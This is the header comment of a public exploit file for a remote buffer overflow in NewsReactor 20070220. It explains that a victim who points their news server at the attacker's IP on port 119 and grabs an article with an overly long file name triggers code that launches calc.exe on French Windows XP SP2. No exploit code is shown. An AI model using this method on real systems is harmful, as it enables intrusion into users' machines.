/********************************************************************************
* NewsReactor 20070220 Article Grabbing Remote Buffer Overflow *
* Exploit 1 *
* *
* *
* There is remote buffer overflow in NewsReactor 20070220 that can be triggered *
* by grabbing articles that contain an overly long file name. *
* *
* To exploit, convince someone to set his newsgroup server to your ip:119 and *
* ask him to grab an article (say with a .NZB file). *
* *
* This exploit waits for incoming connection and then runs calc.exe. *
* *
* Return address should work on XP SP2 FR. *
* Should fail on english systems cause I took the first return address I got =D.*
* Have Fun! *
* *
* Tested against WIN XP SP2 FR *
* Coded and Discovered by Marsu <[email protected]> *
